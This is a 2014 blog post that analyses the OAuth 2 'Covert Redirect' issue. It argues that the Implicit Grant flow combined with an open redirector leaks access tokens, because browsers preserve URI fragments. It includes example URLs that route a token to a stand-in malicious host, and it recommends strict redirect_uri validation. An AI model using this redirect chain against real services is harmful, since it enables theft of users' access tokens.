07 5 / 2014
tl;dr Covert Redirect Vulnerability is a real, if not new, threat when combined with Implicit Grant Flow (not Code flow)
This Covert Redirect Vulnerability in OAuth 2 is an interesting one.
While I agree that it isn’t a flaw in the protocol, I think the threat is a real one, combined with a) a loose validation on
redirect_uri on the OAuth provider and b) an open redirector on the client site.
What seems odd to me in the defending arguments is that they mostly focus on the “code” response_type, and it’s argued that the attack is unlikely because a) obtaining a code doesn’t complete the attack and b) the open redirector needs to keep the query parameter, which is crazy.
They’re both correct.
However what needs to be addressed here is the Implicit Grant flow, where a token is immediately sent to the client redirect URI using the URI fragment.
redirect_uri parameter can be set to an open redirector (like Amazon/ESPN case), the token is sent to it this way:
http://provider.example/oauth? response_type=token& client_id=xyz& redirect_uri=http://client.example/redir%3fto=http...
which goes to:
http://client.example/redir? to=http://malicious.example/ #access_token=xyz
People tend to believe that the URI fragments will be thrown away in the next redirect:
So that is all true, where it gets strange is that the browser he is using seems to pass the URI fragment in the URI through the redirector. This is not possible if the browser has not been tampered with.
It is possible with the standard behavior of the browsers.
With my experiments, current Chrome and Firefox will keep that URI fragments and access the malicious site with the fragment. W3C document suggests that sending it is the desired behavior. Safari doesn’t seem to send it, and it’s considered a bug. I haven’t tested but MS Blog suggests that IE10 preserves the fragment, matching “the updated standard documents”.
So, the victim is now redirected to
location.hash pretty easily.
Having said that, the right answer to this threat would be:
- Strict validation on
- Do not implement an open redirector on the client domain
and RFC6819 has already covered those as well.
Yes this is a FB/ESPN/Amazon problem, and No, this isn’t a design flaw in OAuth 2.0 - however, the defense argument saying “this attack is unlikely because getting a code doesn’t complete attacks” or “tokens won’t be preserved during redirects in regular browsers” is a wrong one.
Permalink 5 notes